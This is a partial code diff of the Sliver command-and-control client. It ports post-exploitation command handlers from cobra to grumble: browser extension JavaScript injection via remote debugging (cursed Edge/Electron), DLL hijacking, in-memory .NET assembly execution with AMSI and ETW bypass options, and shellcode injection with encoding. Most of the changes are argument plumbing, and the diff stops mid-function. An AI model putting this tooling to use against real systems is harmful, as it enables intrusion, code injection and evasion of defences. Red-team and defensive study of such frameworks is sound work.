+func CursedEdgeCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
 	session := con.ActiveTarget.GetSessionInteractive()
 	if session == nil {
 		return
 	}

-	payloadPath, _ := cmd.Flags().GetString("payload")
+	payloadPath := ctx.Flags.String("payload")
 	var payload []byte
 	var err error
 	if payloadPath != "" {
-		payload, err = os.ReadFile(payloadPath)
+		payload, err = ioutil.ReadFile(payloadPath)
 		if err != nil {
 			con.PrintErrorf("Could not read payload file: %s\n", err)
 			return
 		}
 	}

-	curse := avadaKedavraEdge(session, cmd, con, args)
+	curse := avadaKedavraEdge(session, ctx, con)
 	if curse == nil {
 		return
 	}
@@ -81,10 +79,10 @@ func CursedEdgeCmd(cmd *cobra.Command, con *console.SliverConsoleClient, args []
 		con.Printf("success!\n")
 		con.PrintInfof("Found viable Edge extension %s%s%s (%s)\n", console.Bold, chromeExt.Title, console.Normal, chromeExt.ID)
 		con.PrintInfof("Injecting payload ... ")
-		cmd, _, _ := overlord.GetChromeContext(chromeExt.WebSocketDebuggerURL, curse)
-		// extCtxTimeout, cancel := context.WithTimeout(cmd, 10*time.Second)
+		ctx, _, _ := overlord.GetChromeContext(chromeExt.WebSocketDebuggerURL, curse)
+		// extCtxTimeout, cancel := context.WithTimeout(ctx, 10*time.Second)
 		// defer cancel()
-		_, err = overlord.ExecuteJS(cmd, chromeExt.WebSocketDebuggerURL, chromeExt.ID, string(payload))
+		_, err = overlord.ExecuteJS(ctx, chromeExt.WebSocketDebuggerURL, chromeExt.ID, string(payload))
 		if err != nil {
 			con.PrintErrorf("%s\n", err)
 			return
@@ -96,8 +94,8 @@ func CursedEdgeCmd(cmd *cobra.Command, con *console.SliverConsoleClient, args []
 	}
 }

-func avadaKedavraEdge(session *clientpb.Session, cmd *cobra.Command, con *console.SliverConsoleClient, cargs []string) *core.CursedProcess {
-	edgeProcess, err := getEdgeProcess(session, cmd, con)
+func avadaKedavraEdge(session *clientpb.Session, ctx *grumble.Context, con *console.SliverConsoleClient) *core.CursedProcess {
+	edgeProcess, err := getEdgeProcess(session, ctx, con)
 	if err != nil {
 		con.PrintErrorf("%s\n", err)
 		return nil
@@ -118,7 +116,7 @@ func avadaKedavraEdge(session *clientpb.Session, cmd *cobra.Command, con *consol
 			return nil
 		}
 		terminateResp, err := con.Rpc.Terminate(context.Background(), &sliverpb.TerminateReq{
-			Request: con.ActiveTarget.Request(cmd),
+			Request: con.ActiveTarget.Request(ctx),
 			Pid:     edgeProcess.GetPid(),
 		})
 		if err != nil {
@@ -130,7 +128,7 @@ func avadaKedavraEdge(session *clientpb.Session, cmd *cobra.Command, con *consol
 			return nil
 		}
 	}
-	curse, err := startCursedChromeProcess(true, session, cmd, con, cargs)
+	curse, err := startCursedChromeProcess(true, session, ctx, con)
 	if err != nil {
 		con.PrintErrorf("%s\n", err)
 		return nil
@@ -139,7 +137,7 @@ func avadaKedavraEdge(session *clientpb.Session, cmd *cobra.Command, con *consol
 }

 func isEdgeProcess(executable string) bool {
-	edgeProcessNames := []string{
+	var edgeProcessNames = []string{
 		"msedge",         // Linux
 		"microsoft-edge", // Linux
 		"msedge.exe",     // Windows
@@ -153,9 +151,9 @@ func isEdgeProcess(executable string) bool {
 	return false
 }

-func getEdgeProcess(session *clientpb.Session, cmd *cobra.Command, con *console.SliverConsoleClient) (*commonpb.Process, error) {
+func getEdgeProcess(session *clientpb.Session, ctx *grumble.Context, con *console.SliverConsoleClient) (*commonpb.Process, error) {
 	ps, err := con.Rpc.Ps(context.Background(), &sliverpb.PsReq{
-		Request: con.ActiveTarget.Request(cmd),
+		Request: con.ActiveTarget.Request(ctx),
 	})
 	if err != nil {
 		return nil, err
@@ -27,8 +27,6 @@ import (
 	"time"

 	"github.com/AlecAivazis/survey/v2"
-	"github.com/spf13/cobra"
-
 	"github.com/bishopfox/sliver/client/console"
 	"github.com/bishopfox/sliver/client/core"
 	"github.com/bishopfox/sliver/client/overlord"
@@ -36,21 +34,22 @@ import (
 	"github.com/bishopfox/sliver/protobuf/clientpb"
 	"github.com/bishopfox/sliver/protobuf/commonpb"
 	"github.com/bishopfox/sliver/protobuf/sliverpb"
+	"github.com/desertbit/grumble"
 )

-func CursedElectronCmd(cmd *cobra.Command, con *console.SliverConsoleClient, args []string) {
+func CursedElectronCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
 	session := con.ActiveTarget.GetSessionInteractive()
 	if session == nil {
 		return
 	}

-	electronExe, _ := cmd.Flags().GetString("exe")
+	electronExe := ctx.Flags.String("exe")
 	if electronExe == "" {
 		con.PrintErrorf("Missing --exe flag, see --help\n")
 		return
 	}

-	curse := avadaKedavraElectron(electronExe, session, cmd, con, args)
+	curse := avadaKedavraElectron(electronExe, session, ctx, con)
 	if curse == nil {
 		return
 	}
@@ -68,8 +67,8 @@ func CursedElectronCmd(cmd *cobra.Command, con *console.SliverConsoleClient, arg
 	con.PrintInfof("Found %d debug targets, good hunting!\n", len(targets))
 }

-func avadaKedavraElectron(electronExe string, session *clientpb.Session, cmd *cobra.Command, con *console.SliverConsoleClient, cargs []string) *core.CursedProcess {
-	exists, err := checkElectronPath(electronExe, session, cmd, con)
+func avadaKedavraElectron(electronExe string, session *clientpb.Session, ctx *grumble.Context, con *console.SliverConsoleClient) *core.CursedProcess {
+	exists, err := checkElectronPath(electronExe, session, ctx, con)
 	if err != nil {
 		con.PrintErrorf("%s", err)
 		return nil
@@ -78,7 +77,7 @@ func avadaKedavraElectron(electronExe string, session *clientpb.Session, cmd *co
 		con.PrintErrorf("Executable path does not exist: %s", electronExe)
 		return nil
 	}
-	electronProcess, err := checkElectronProcess(electronExe, session, cmd, con)
+	electronProcess, err := checkElectronProcess(electronExe, session, ctx, con)
 	if err != nil {
 		con.PrintErrorf("%s\n", err)
 		return nil
@@ -99,7 +98,7 @@ func avadaKedavraElectron(electronExe string, session *clientpb.Session, cmd *co
 			return nil
 		}
 		terminateResp, err := con.Rpc.Terminate(context.Background(), &sliverpb.TerminateReq{
-			Request: con.ActiveTarget.Request(cmd),
+			Request: con.ActiveTarget.Request(ctx),
 			Pid:     electronProcess.Pid,
 		})
 		if err != nil {
@@ -111,7 +110,7 @@ func avadaKedavraElectron(electronExe string, session *clientpb.Session, cmd *co
 			return nil
 		}
 	}
-	curse, err := startCursedElectronProcess(electronExe, session, cmd, con, cargs)
+	curse, err := startCursedElectronProcess(electronExe, session, ctx, con)
 	if err != nil {
 		con.PrintErrorf("%s\n", err)
 		return nil
@@ -119,9 +118,9 @@ func avadaKedavraElectron(electronExe string, session *clientpb.Session, cmd *co
 	return curse
 }

-func checkElectronPath(electronExe string, session *clientpb.Session, cmd *cobra.Command, con *console.SliverConsoleClient) (bool, error) {
+func checkElectronPath(electronExe string, session *clientpb.Session, ctx *grumble.Context, con *console.SliverConsoleClient) (bool, error) {
 	ls, err := con.Rpc.Ls(context.Background(), &sliverpb.LsReq{
-		Request: con.ActiveTarget.Request(cmd),
+		Request: con.ActiveTarget.Request(ctx),
 		Path:    electronExe,
 	})
 	if err != nil {
@@ -130,9 +129,9 @@ func checkElectronPath(electronExe string, session *clientpb.Session, cmd *cobra
 	return ls.GetExists(), nil
 }

-func checkElectronProcess(electronExe string, session *clientpb.Session, cmd *cobra.Command, con *console.SliverConsoleClient) (*commonpb.Process, error) {
+func checkElectronProcess(electronExe string, session *clientpb.Session, ctx *grumble.Context, con *console.SliverConsoleClient) (*commonpb.Process, error) {
 	ps, err := con.Rpc.Ps(context.Background(), &sliverpb.PsReq{
-		Request: con.ActiveTarget.Request(cmd),
+		Request: con.ActiveTarget.Request(ctx),
 	})
 	if err != nil {
 		return nil, err
@@ -148,21 +147,21 @@ func checkElectronProcess(electronExe string, session *clientpb.Session, cmd *co
 	return nil, nil
 }

-func startCursedElectronProcess(electronExe string, session *clientpb.Session, cmd *cobra.Command, con *console.SliverConsoleClient, cargs []string) (*core.CursedProcess, error) {
+func startCursedElectronProcess(electronExe string, session *clientpb.Session, ctx *grumble.Context, con *console.SliverConsoleClient) (*core.CursedProcess, error) {
 	con.PrintInfof("Starting '%s' ... ", path.Base(electronExe))
-	debugPort := getRemoteDebuggerPort(cmd)
+	debugPort := getRemoteDebuggerPort(ctx)
 	args := []string{
 		fmt.Sprintf("--remote-debugging-port=%d", debugPort),
 	}
-
-	if len(cargs) > 0 {
-		args = append(args, cargs...)
+	additionalArgs := ctx.Args.StringList("args")
+	if len(additionalArgs) > 0 {
+		args = append(args, additionalArgs...)
 	}

 	// Execute the Chrome process with the extra flags
 	// TODO: PPID spoofing, etc.
 	electronExec, err := con.Rpc.Execute(context.Background(), &sliverpb.ExecuteReq{
-		Request: con.ActiveTarget.Request(cmd),
+		Request: con.ActiveTarget.Request(ctx),
 		Path:    electronExe,
 		Args:    args,
 		Output:  false,
@@ -214,3 +213,21 @@ func startCursedElectronProcess(electronExe string, session *clientpb.Session, c

 	return curse, nil
 }
+
+func getElectronProcess(session *clientpb.Session, ctx *grumble.Context, con *console.SliverConsoleClient) (*commonpb.Process, error) {
+	ps, err := con.Rpc.Ps(context.Background(), &sliverpb.PsReq{
+		Request: con.ActiveTarget.Request(ctx),
+	})
+	if err != nil {
+		return nil, err
+	}
+	for _, process := range ps.Processes {
+		if process.GetOwner() != session.GetUsername() {
+			continue
+		}
+		if isChromeProcess(process.GetExecutable()) {
+			return process, nil
+		}
+	}
+	return nil, nil
+}
@@ -20,28 +20,21 @@ package cursed

 import (
 	"context"
-	"strconv"

 	"github.com/AlecAivazis/survey/v2"
-	"github.com/spf13/cobra"
-
 	"github.com/bishopfox/sliver/client/console"
 	"github.com/bishopfox/sliver/client/core"
 	"github.com/bishopfox/sliver/protobuf/sliverpb"
+	"github.com/desertbit/grumble"
 )

-func CursedRmCmd(cmd *cobra.Command, con *console.SliverConsoleClient, args []string) {
+func CursedRmCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
 	session := con.ActiveTarget.GetSessionInteractive()
 	if session == nil {
 		return
 	}
-	bindPort, err := strconv.Atoi(args[0])
-	if err != nil {
-		con.PrintErrorf("Failed to parse bind port argument: %s (%s)", args[0], err.Error())
-		return
-	}
-
-	kill, _ := cmd.Flags().GetBool("kill")
+	kill := ctx.Flags.Bool("kill")
+	bindPort := ctx.Args.Int("bind-port")
 	core.CloseCursedProcessesByBindPort(session.ID, bindPort)
 	if kill {
 		confirm := false
@@ -67,7 +60,7 @@ func CursedRmCmd(cmd *cobra.Command, con *console.SliverConsoleClient, args []st
 			return
 		}
 		terminateResp, err := con.Rpc.Terminate(context.Background(), &sliverpb.TerminateReq{
-			Request: con.ActiveTarget.Request(cmd),
+			Request: con.ActiveTarget.Request(ctx),
 			Pid:     int32(cursedProc.PID),
 		})
 		if err != nil {
@@ -20,16 +20,15 @@ package cursed

 import (
 	"fmt"
-	"os"
+	"io/ioutil"
 	"time"

-	"github.com/spf13/cobra"
-
 	"github.com/bishopfox/sliver/client/console"
 	"github.com/bishopfox/sliver/client/overlord"
+	"github.com/desertbit/grumble"
 )

-func CursedScreenshotCmd(cmd *cobra.Command, con *console.SliverConsoleClient, args []string) {
+func CursedScreenshotCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
 	curse := selectCursedProcess(con)
 	if curse == nil {
 		return
@@ -47,7 +46,7 @@ func CursedScreenshotCmd(cmd *cobra.Command, con *console.SliverConsoleClient, a
 		return
 	}
 	con.PrintInfof("Taking a screenshot of '%s' ... \n\n", target.Title)
-	quality, _ := cmd.Flags().GetInt64("quality")
+	quality := ctx.Flags.Int64("quality")
 	if quality < 1 || quality > 100 {
 		con.PrintErrorf("Invalid quality value, must be between 1 and 100\n")
 		return
@@ -57,11 +56,11 @@ func CursedScreenshotCmd(cmd *cobra.Command, con *console.SliverConsoleClient, a
 		con.PrintErrorf("Failed to take screenshot: %s\n", err)
 		return
 	}
-	saveFile, _ := cmd.Flags().GetString("save")
+	saveFile := ctx.Flags.String("save")
 	if saveFile == "" {
 		saveFile = fmt.Sprintf("screenshot-%s.png", time.Now().Format("20060102150405"))
 	}
-	err = os.WriteFile(saveFile, data, 0o644)
+	err = ioutil.WriteFile(saveFile, data, 0644)
 	if err != nil {
 		con.PrintErrorf("Failed to save screenshot: %s\n", err)
 		return
@@ -27,16 +27,15 @@ import (
 	"text/tabwriter"

 	"github.com/AlecAivazis/survey/v2"
-	"github.com/jedib0t/go-pretty/v6/table"
-	"github.com/spf13/cobra"
-
 	"github.com/bishopfox/sliver/client/command/settings"
 	"github.com/bishopfox/sliver/client/console"
 	"github.com/bishopfox/sliver/client/core"
+	"github.com/desertbit/grumble"
+	"github.com/jedib0t/go-pretty/v6/table"
 )

 // CursedChromeCmd - Execute a .NET assembly in-memory
-func CursedCmd(cmd *cobra.Command, con *console.SliverConsoleClient, args []string) {
+func CursedCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
 	// Collect existing curses from core
 	cursedProcesses := [][]string{}
 	core.CursedProcesses.Range(func(key, value interface{}) bool {
@@ -113,8 +112,8 @@ func selectCursedProcess(con *console.SliverConsoleClient) *core.CursedProcess {
 	return port2process[selectedPortNumber]
 }

-func getRemoteDebuggerPort(cmd *cobra.Command) int {
-	port, _ := cmd.Flags().GetInt("remote-debugging-port")
+func getRemoteDebuggerPort(ctx *grumble.Context) int {
+	port := int(uint16(ctx.Flags.Int("remote-debugging-port")))
 	if port == 0 {
 		port = insecureRand.Intn(30000) + 10000
 	}
@@ -21,12 +21,11 @@ package dllhijack
 import (
 	"context"
 	"fmt"
-	"os"
-
-	"github.com/spf13/cobra"
+	"io/ioutil"

 	"github.com/bishopfox/sliver/client/console"
 	"github.com/bishopfox/sliver/protobuf/clientpb"
+	"github.com/desertbit/grumble"
 )

 // dllhijack --ref-path c:\windows\system32\msasn1.dll --file /tmp/runner.dll TARGET_PATH
@@ -34,7 +33,7 @@ import (
 // dllhijack --ref-path c:\windows\system32\msasn1.dll --ref-file /tmp/ref.dll --profile dll  TARGET_PATH

 // DllHijackCmd -- implements the dllhijack command
-func DllHijackCmd(cmd *cobra.Command, con *console.SliverConsoleClient, args []string) {
+func DllHijackCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
 	var (
 		localRefData  []byte
 		targetDLLData []byte
@@ -45,12 +44,11 @@ func DllHijackCmd(cmd *cobra.Command, con *console.SliverConsoleClient, args []s
 		return
 	}

-	targetPath := args[0]
-
-	referencePath, _ := cmd.Flags().GetString("reference-path")
-	localFile, _ := cmd.Flags().GetString("file")
-	profileName, _ := cmd.Flags().GetString("profile")
-	localReferenceFilePath, _ := cmd.Flags().GetString("reference-file")
+	targetPath := ctx.Args.String("target-path")
+	referencePath := ctx.Flags.String("reference-path")
+	localFile := ctx.Flags.String("file")
+	profileName := ctx.Flags.String("profile")
+	localReferenceFilePath := ctx.Flags.String("reference-file")

 	if referencePath == "" {
 		con.PrintErrorf("Please provide a path to the reference DLL on the target system\n")
@@ -58,7 +56,7 @@ func DllHijackCmd(cmd *cobra.Command, con *console.SliverConsoleClient, args []s
 	}

 	if localReferenceFilePath != "" {
-		localRefData, err = os.ReadFile(localReferenceFilePath)
+		localRefData, err = ioutil.ReadFile(localReferenceFilePath)
 		if err != nil {
 			con.PrintErrorf("Could not load the reference file from the client: %s\n", err)
 			return
@@ -70,7 +68,7 @@ func DllHijackCmd(cmd *cobra.Command, con *console.SliverConsoleClient, args []s
 			con.PrintErrorf("please use either --profile or --File")
 			return
 		}
-		targetDLLData, err = os.ReadFile(localFile)
+		targetDLLData, err = ioutil.ReadFile(localFile)
 		if err != nil {
 			con.PrintErrorf("Error: %s\n", err)
 			return
@@ -85,7 +83,7 @@ func DllHijackCmd(cmd *cobra.Command, con *console.SliverConsoleClient, args []s
 		TargetLocation:   targetPath,
 		ReferenceDLL:     localRefData,
 		TargetDLL:        targetDLLData,
-		Request:          con.ActiveTarget.Request(cmd),
+		Request:          con.ActiveTarget.Request(ctx),
 		ProfileName:      profileName,
 	})
 	ctrl <- true
@@ -21,30 +21,24 @@ package environment
 import (
 	"context"

-	"google.golang.org/protobuf/proto"
-
-	"github.com/spf13/cobra"
-
 	"github.com/bishopfox/sliver/client/console"
 	"github.com/bishopfox/sliver/protobuf/clientpb"
 	"github.com/bishopfox/sliver/protobuf/sliverpb"
+	"github.com/desertbit/grumble"
+	"google.golang.org/protobuf/proto"
 )

 // EnvGetCmd - Get a remote environment variable
-func EnvGetCmd(cmd *cobra.Command, con *console.SliverConsoleClient, args []string) {
+func EnvGetCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
 	session, beacon := con.ActiveTarget.GetInteractive()
 	if session == nil && beacon == nil {
 		return
 	}

-	var name string
-	if len(args) > 0 {
-		name = args[0]
-	}
-
+	name := ctx.Args.String("name")
 	envInfo, err := con.Rpc.GetEnv(context.Background(), &sliverpb.EnvReq{
 		Name:    name,
-		Request: con.ActiveTarget.Request(cmd),
+		Request: con.ActiveTarget.Request(ctx),
 	})
 	if err != nil {
 		con.PrintErrorf("%s\n", err)
@@ -21,25 +21,23 @@ package environment
 import (
 	"context"

-	"google.golang.org/protobuf/proto"
-
-	"github.com/spf13/cobra"
-
 	"github.com/bishopfox/sliver/client/console"
 	"github.com/bishopfox/sliver/protobuf/clientpb"
 	"github.com/bishopfox/sliver/protobuf/commonpb"
 	"github.com/bishopfox/sliver/protobuf/sliverpb"
+	"github.com/desertbit/grumble"
+	"google.golang.org/protobuf/proto"
 )

 // EnvSetCmd - Set a remote environment variable
-func EnvSetCmd(cmd *cobra.Command, con *console.SliverConsoleClient, args []string) {
+func EnvSetCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
 	session, beacon := con.ActiveTarget.GetInteractive()
 	if session == nil && beacon == nil {
 		return
 	}

-	name := args[0]
-	value := args[1]
+	name := ctx.Args.String("name")
+	value := ctx.Args.String("value")
 	if name == "" || value == "" {
 		con.PrintErrorf("Usage: setenv KEY VALUE\n")
 		return
@@ -50,7 +48,7 @@ func EnvSetCmd(cmd *cobra.Command, con *console.SliverConsoleClient, args []stri
 			Key:   name,
 			Value: value,
 		},
-		Request: con.ActiveTarget.Request(cmd),
+		Request: con.ActiveTarget.Request(ctx),
 	})
 	if err != nil {
 		con.PrintErrorf("%s\n", err)
@@ -69,6 +67,7 @@ func EnvSetCmd(cmd *cobra.Command, con *console.SliverConsoleClient, args []stri
 	} else {
 		PrintSetEnvInfo(name, value, envInfo, con)
 	}
+
 }

 // PrintSetEnvInfo - Print the set environment info
@@ -21,23 +21,21 @@ package environment
 import (
 	"context"

-	"google.golang.org/protobuf/proto"
-
-	"github.com/spf13/cobra"
-
 	"github.com/bishopfox/sliver/client/console"
 	"github.com/bishopfox/sliver/protobuf/clientpb"
 	"github.com/bishopfox/sliver/protobuf/sliverpb"
+	"github.com/desertbit/grumble"
+	"google.golang.org/protobuf/proto"
 )

 // EnvUnsetCmd - Unset a remote environment variable
-func EnvUnsetCmd(cmd *cobra.Command, con *console.SliverConsoleClient, args []string) {
+func EnvUnsetCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
 	session, beacon := con.ActiveTarget.GetInteractive()
 	if session == nil && beacon == nil {
 		return
 	}

-	name := args[0]
+	name := ctx.Args.String("name")
 	if name == "" {
 		con.PrintErrorf("Usage: setenv NAME\n")
 		return
@@ -45,8 +43,9 @@ func EnvUnsetCmd(cmd *cobra.Command, con *console.SliverConsoleClient, args []st

 	unsetResp, err := con.Rpc.UnsetEnv(context.Background(), &sliverpb.UnsetEnvReq{
 		Name:    name,
-		Request: con.ActiveTarget.Request(cmd),
+		Request: con.ActiveTarget.Request(ctx),
 	})
+
 	if err != nil {
 		con.PrintErrorf("%s\n", err)
 		return
@@ -64,6 +63,7 @@ func EnvUnsetCmd(cmd *cobra.Command, con *console.SliverConsoleClient, args []st
 	} else {
 		PrintUnsetEnvInfo(name, unsetResp, con)
 	}
+
 }

 // PrintUnsetEnvInfo - Print the set environment info
@@ -25,34 +25,27 @@ import (
 	"strings"

 	"github.com/AlecAivazis/survey/v2"
-	"github.com/spf13/cobra"
-	"google.golang.org/protobuf/proto"
-
 	"github.com/bishopfox/sliver/client/console"
 	"github.com/bishopfox/sliver/protobuf/clientpb"
 	"github.com/bishopfox/sliver/protobuf/sliverpb"
+	"github.com/desertbit/grumble"
+	"google.golang.org/protobuf/proto"
 )

 // ExecuteAssemblyCmd - Execute a .NET assembly in-memory
-func ExecuteAssemblyCmd(cmd *cobra.Command, con *console.SliverConsoleClient, args []string) {
+func ExecuteAssemblyCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
 	session, beacon := con.ActiveTarget.GetInteractive()
 	if session == nil && beacon == nil {
 		return
 	}

-	arch, _ := cmd.Flags().GetString("arch")
-	method, _ := cmd.Flags().GetString("method")
-	className, _ := cmd.Flags().GetString("class")
-	appDomain, _ := cmd.Flags().GetString("app-domain")
-	pPid, _ := cmd.Flags().GetUint32("ppid")
-
-	assemblyPath := args[0]
+	assemblyPath := ctx.Args.String("filepath")
 	isDLL := false
 	if filepath.Ext(assemblyPath) == ".dll" {
 		isDLL = true
 	}
 	if isDLL {
-		if className == "" || method == "" {
+		if ctx.Flags.String("class") == "" || ctx.Flags.String("method") == "" {
 			con.PrintErrorf("Please provide a class name (namespace.class) and method\n")
 			return
 		}
@@ -63,15 +56,15 @@ func ExecuteAssemblyCmd(cmd *cobra.Command, con *console.SliverConsoleClient, ar
 		return
 	}

-	assemblyArgs := args[1:]
-	process, _ := cmd.Flags().GetString("process")
-	processArgsStr, _ := cmd.Flags().GetString("process-arguments")
+	assemblyArgs := ctx.Args.StringList("arguments")
+	process := ctx.Flags.String("process")
+	processArgsStr := ctx.Flags.String("process-arguments")
 	processArgs := strings.Split(processArgsStr, " ")
-	inProcess, _ := cmd.Flags().GetBool("in-process")
+	inProcess := ctx.Flags.Bool("in-process")

-	runtime, _ := cmd.Flags().GetString("runtime")
-	etwBypass, _ := cmd.Flags().GetBool("etw-bypass")
-	amsiBypass, _ := cmd.Flags().GetBool("amsi-bypass")
+	runtime := ctx.Flags.String("runtime")
+	etwBypass := ctx.Flags.Bool("etw-bypass")
+	amsiBypass := ctx.Flags.Bool("amsi-bypass")

 	if !inProcess && (runtime != "" || etwBypass || amsiBypass) {
 		con.PrintErrorf("The --runtime, --etw-bypass, and --amsi-bypass flags can only be used with the --in-process flag\n")
@@ -93,17 +86,17 @@ func ExecuteAssemblyCmd(cmd *cobra.Command, con *console.SliverConsoleClient, ar
 	ctrl := make(chan bool)
 	con.SpinUntil("Executing assembly ...", ctrl)
 	execAssembly, err := con.Rpc.ExecuteAssembly(context.Background(), &sliverpb.ExecuteAssemblyReq{
-		Request:     con.ActiveTarget.Request(cmd),
+		Request:     con.ActiveTarget.Request(ctx),
 		IsDLL:       isDLL,
 		Process:     process,
 		Arguments:   assemblyArgsStr,
 		Assembly:    assemblyBytes,
-		Arch:        arch,
-		Method:      method,
-		ClassName:   className,
-		AppDomain:   appDomain,
+		Arch:        ctx.Flags.String("arch"),
+		Method:      ctx.Flags.String("method"),
+		ClassName:   ctx.Flags.String("class"),
+		AppDomain:   ctx.Flags.String("app-domain"),
 		ProcessArgs: processArgs,
-		PPid:        pPid,
+		PPid:        uint32(ctx.Flags.Uint("ppid")),
 		Runtime:     runtime,
 		EtwBypass:   etwBypass,
 		AmsiBypass:  amsiBypass,
@@ -124,28 +117,26 @@ func ExecuteAssemblyCmd(cmd *cobra.Command, con *console.SliverConsoleClient, ar
 				return
 			}

-			HandleExecuteAssemblyResponse(execAssembly, assemblyPath, hostName, cmd, con)
+			HandleExecuteAssemblyResponse(execAssembly, assemblyPath, hostName, ctx, con)
 		})
 		con.PrintAsyncResponse(execAssembly.Response)
 	} else {
-		HandleExecuteAssemblyResponse(execAssembly, assemblyPath, hostName, cmd, con)
+		HandleExecuteAssemblyResponse(execAssembly, assemblyPath, hostName, ctx, con)
 	}
 }

-func HandleExecuteAssemblyResponse(execAssembly *sliverpb.ExecuteAssembly, assemblyPath string, hostName string, cmd *cobra.Command, con *console.SliverConsoleClient) {
-	saveLoot, _ := cmd.Flags().GetBool("loot")
-	lootName, _ := cmd.Flags().GetString("name")
+func HandleExecuteAssemblyResponse(execAssembly *sliverpb.ExecuteAssembly, assemblyPath string, hostName string, ctx *grumble.Context, con *console.SliverConsoleClient) {
+	saveLoot := ctx.Flags.Bool("loot")
+	lootName := ctx.Flags.String("name")

 	if execAssembly.GetResponse().GetErr() != "" {
 		con.PrintErrorf("Error: %s\n", execAssembly.GetResponse().GetErr())
 		return
 	}

-	save, _ := cmd.Flags().GetBool("save")
-
-	PrintExecutionOutput(string(execAssembly.GetOutput()), save, cmd.Name(), hostName, con)
+	PrintExecutionOutput(string(execAssembly.GetOutput()), ctx.Flags.Bool("save"), ctx.Command.Name, hostName, con)

 	if saveLoot {
-		LootExecute(execAssembly.GetOutput(), lootName, cmd.Name(), assemblyPath, hostName, con)
+		LootExecute(execAssembly.GetOutput(), lootName, ctx.Command.Name, assemblyPath, hostName, con)
 	}
 }
@@ -26,33 +26,31 @@ import (
 	"log"
 	"os"

-	"golang.org/x/term"
-	"google.golang.org/protobuf/proto"
-
-	"github.com/spf13/cobra"
-
 	"github.com/bishopfox/sliver/client/console"
 	"github.com/bishopfox/sliver/client/core"
 	"github.com/bishopfox/sliver/protobuf/clientpb"
 	"github.com/bishopfox/sliver/protobuf/sliverpb"
+	"golang.org/x/term"
+	"google.golang.org/protobuf/proto"
+
+	"github.com/desertbit/grumble"
 )

 // ExecuteShellcodeCmd - Execute shellcode in-memory
-func ExecuteShellcodeCmd(cmd *cobra.Command, con *console.SliverConsoleClient, args []string) {
+func ExecuteShellcodeCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
 	session, beacon := con.ActiveTarget.GetInteractive()
 	if session == nil && beacon == nil {
 		return
 	}

-	rwxPages, _ := cmd.Flags().GetBool("rwx-pages")
-	interactive, _ := cmd.Flags().GetBool("interactive")
+	rwxPages := ctx.Flags.Bool("rwx-pages")
+	interactive := ctx.Flags.Bool("interactive")
 	if interactive && beacon != nil {
 		con.PrintErrorf("Interactive shellcode can only be executed in a session\n")
 		return
 	}
-
-	pid, _ := cmd.Flags().GetUint32("pid")
-	shellcodePath := args[0]
+	pid := ctx.Flags.Uint("pid")
+	shellcodePath := ctx.Args.String("filepath")
 	shellcodeBin, err := os.ReadFile(shellcodePath)
 	if err != nil {
 		con.PrintErrorf("%s\n", err.Error())
@@ -62,23 +60,23 @@ func ExecuteShellcodeCmd(cmd *cobra.Command, con *console.SliverConsoleClient, a
 		con.PrintErrorf("Cannot use both `--pid` and `--interactive`\n")
 		return
 	}
-	shikataGaNai, _ := cmd.Flags().GetBool("shikata-ga-nai")
+	shikataGaNai := ctx.Flags.Bool("shikata-ga-nai")
 	if shikataGaNai {
 		if !rwxPages {
 			con.PrintErrorf("Cannot use shikata ga nai without RWX pages enabled\n")
 			return
 		}
-		arch, _ := cmd.Flags().GetString("architecture")
+		arch := ctx.Flags.String("architecture")
 		if arch != "386" && arch != "amd64" {
 			con.PrintErrorf("Invalid shikata ga nai architecture (must be 386 or amd64)\n")
 			return
 		}
-		iter, _ := cmd.Flags().GetUint32("iterations")
+		iter := ctx.Flags.Int("iterations")
 		con.PrintInfof("Encoding shellcode ...\n")
 		resp, err := con.Rpc.ShellcodeEncoder(context.Background(), &clientpb.ShellcodeEncodeReq{
 			Encoder:      clientpb.ShellcodeEncoder_SHIKATA_GA_NAI,
 			Architecture: arch,
-			Iterations:   iter,
+			Iterations:   uint32(iter),
 			BadChars:     []byte{},
 			Data:         shellcodeBin,
 		})
@@ -91,10 +89,8 @@ func ExecuteShellcodeCmd(cmd *cobra.Command, con *console.SliverConsoleClient, a
 		con.PrintInfof("Shellcode encoded in %d iterations (%d bytes -> %d bytes)\n", iter, oldSize, len(shellcodeBin))
 	}

-	process, _ := cmd.Flags().GetString("process")
-
 	if interactive {
-		executeInteractive(cmd, process, shellcodeBin, rwxPages, con)
+		executeInteractive(ctx, ctx.Flags.String("process"), shellcodeBin, rwxPages, con)
 		return
 	}
 	ctrl := make(chan bool)
@@ -103,8 +99,8 @@ func ExecuteShellcodeCmd(cmd *cobra.Command, con *console.SliverConsoleClient, a
 	shellcodeTask, err := con.Rpc.Task(context.Background(), &sliverpb.TaskReq{
 		Data:     shellcodeBin,
 		RWXPages: rwxPages,
-		Pid:      pid,
-		Request:  con.ActiveTarget.Request(cmd),
+		Pid:      uint32(pid),
+		Request:  con.ActiveTarget.Request(ctx),
 	})
 	ctrl <- true
 	<-ctrl
@@ -137,7 +133,7 @@ func PrintExecuteShellcode(task *sliverpb.Task, con *console.SliverConsoleClient
 	}
 }

-func executeInteractive(cmd *cobra.Command, hostProc string, shellcode []byte, rwxPages bool, con *console.SliverConsoleClient) {
+func executeInteractive(ctx *grumble.Context, hostProc string, shellcode []byte, rwxPages bool, con *console.SliverConsoleClient) {
 	// Check active session
 	session := con.ActiveTarget.GetSessionInteractive()
 	if session == nil {
@@ -152,6 +148,7 @@ func executeInteractive(cmd *cobra.Command, hostProc string, shellcode []byte, r
 	rpcTunnel, err := con.Rpc.CreateTunnel(context.Background(), &sliverpb.Tunnel{
 		SessionID: session.ID,
 	})
+
 	if err != nil {
 		con.PrintErrorf("%s\n", err)
 		return
@@ -160,11 +157,12 @@ func executeInteractive(cmd *cobra.Command, hostProc string, shellcode []byte, r
 	tunnel := core.GetTunnels().Start(rpcTunnel.GetTunnelID(), rpcTunnel.GetSessionID())

 	shell, err := con.Rpc.Shell(context.Background(), &sliverpb.ShellReq{
-		Request:   con.ActiveTarget.Request(cmd),
+		Request:   con.ActiveTarget.Request(ctx),
 		Path:      hostProc,
 		EnablePTY: !noPty,
 		TunnelID:  tunnel.ID,
 	})
+
